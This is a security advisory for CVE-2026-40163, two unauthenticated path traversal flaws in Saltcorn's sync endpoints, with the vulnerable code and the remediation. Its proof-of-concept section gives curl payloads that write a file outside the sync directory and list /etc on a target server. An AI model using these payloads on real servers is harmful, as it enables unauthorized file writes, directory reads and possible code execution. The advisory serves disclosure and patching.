CVE-2026-40163: Saltcorn has an Unauthenticated Path Traversal in sync endpoints, allowing arbitrary file write and directory read
Summary Two unauthenticated path traversal vulnerabilities exist in Saltcorn's mobile sync endpoints. The POST /sync/offlinechanges endpoint allows an unauthenticated attacker to create arbitrary directories and write a changes.json file with attacker-controlled JSON content anywhere on the server filesystem.
Published Apr 10, 2026
Affected packages
@saltcorn/server
- Ecosystem
- npm
- Affected
- < 1.4.5
- Fixed in
- 1.4.5
- Check
npm ls @saltcorn/server
@saltcorn/server
- Ecosystem
- npm
- Affected
- >= 1.5.0-beta.0, < 1.5.5
- Fixed in
- 1.5.5
- Check
npm ls @saltcorn/server
@saltcorn/server
- Ecosystem
- npm
- Affected
- >= 1.6.0-alpha.0, < 1.6.0-beta.4
- Fixed in
- 1.6.0-beta.4
- Check
npm ls @saltcorn/server
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Two unauthenticated path traversal vulnerabilities exist in Saltcorn's mobile sync endpoints. The POST /sync/offline_changes endpoint allows an unauthenticated attacker to create arbitrary directories and write a changes.json file with attacker-controlled JSON content anywhere on the server filesystem. The GET /sync/upload_finished endpoint allows an unauthenticated attacker to list arbitrary directory contents and read specific JSON files.
The safe path validation function File.normalise_in_base() exists in the codebase and is correctly used by the clean_sync_dir endpoint in the same file (fix for GHSA-43f3-h63w-p6f6), but was not applied to these two endpoints.
Details
Finding 1: Arbitrary file write — `POST /sync/offline_changes` (sync.js line 226)
The newSyncTimestamp parameter from the request body is used directly in path.join() without sanitization:
const syncDirName = `${newSyncTimestamp}_${req.user?.email || "public"}`;
const syncDir = path.join(
rootFolder.location, "mobile_app", "sync", syncDirName
);
await fs.mkdir(syncDir, { recursive: true }); // creates arbitrary dir
await fs.writeFile(
path.join(syncDir, "changes.json"),
JSON.stringify(changes) // writes attacker content
);No authentication middleware is applied to this route. Since path.join() normalizes ../ sequences, setting newSyncTimestamp to ../../../../tmp/evil causes the path to resolve outside the sync directory.
Finding 2: Arbitrary directory read — `GET /sync/upload_finished` (sync.js line 288)
The dir_name query parameter is used directly in path.join() without sanitization:
const syncDir = path.join(
rootFolder.location, "mobile_app", "sync", dir_name
);
let entries = await fs.readdir(syncDir);Also unauthenticated. An attacker can list directory contents and read files named translated-ids.json, unique-conflicts.json, data-conflicts.json, or error.json from any directory.
Contrast — fixed endpoint in the same file (line 342):
The clean_sync_dir endpoint correctly uses File.normalise_in_base():
const syncDir = File.normalise_in_base(
path.join(rootFolder.location, "mobile_app", "sync"),
dir_name
);
if (syncDir) await fs.rm(syncDir, { recursive: true, force: true });PoC
# Write arbitrary file to /tmp/
curl -X POST http://TARGET:3000/sync/offline_changes \
-H "Content-Type: application/json" \
-d '{
"newSyncTimestamp": "../../../../tmp/saltcorn_poc",
"oldSyncTimestamp": "0",
"changes": {"proof": "path_traversal_write"}
}'
# Result: /tmp/saltcorn_poc_public/changes.json created with attacker content
# List /etc/ directory
curl "http://TARGET:3000/sync/upload_finished?dir_name=../../../../etc"Impact
- Unauthenticated arbitrary directory creation anywhere on the filesystem
- Unauthenticated arbitrary JSON file write (
changes.json) to any writable directory - Unauthenticated directory listing of arbitrary directories
- Unauthenticated read of specific JSON files from arbitrary directories
- Potential for remote code execution via writing to sensitive paths (cron, systemd, Node.js module paths)
Remediation
Apply File.normalise_in_base() to both endpoints, matching the existing pattern in clean_sync_dir:
// offline_changes fix
const syncDirName = `${newSyncTimestamp}_${req.user?.email || "public"}`;
const syncDir = File.normalise_in_base(
path.join(rootFolder.location, "mobile_app", "sync"),
syncDirName
);
if (!syncDir) {
return res.status(400).json({ error: "Invalid sync directory name" });
}
// upload_finished fix
const syncDir = File.normalise_in_base(
path.join(rootFolder.location, "mobile_app", "sync"),
dir_name
);
if (!syncDir) {
return res.json({ finished: false });
}Additionally, add loggedIn middleware to endpoints that modify server state.
Credited to axel-corsiez.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-41478
Saltcorn: SQL Injection via Unparameterized Sync Endpoints (maxLoadedId)
critical9.9Apr 16, 2026CVE-2026-42259
Saltcorn: Open Redirect in `POST /auth/login` due to incomplete `is_relative_url` validation (backslash bypass)
medium5.1Apr 16, 2026GHSA-cr3w-cw5w-h3fj
Saltcorn's Reflected XSS and Command Injection vulnerabilities can be chained for 1-click-RCE
critical9.6Jan 26, 2026CVE-2024-47818
Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability
high6.5Oct 7, 2024GHSA-pf56-h9qf-rxq4
Saltcorn Server Stored Cross-Site Scripting (XSS) in event logs page
medium6.1Oct 7, 2024GHSA-277h-px4m-62q8
@saltcorn/server arbitrary file zip read and download when downloading auto backups
medium4.4Oct 3, 2024
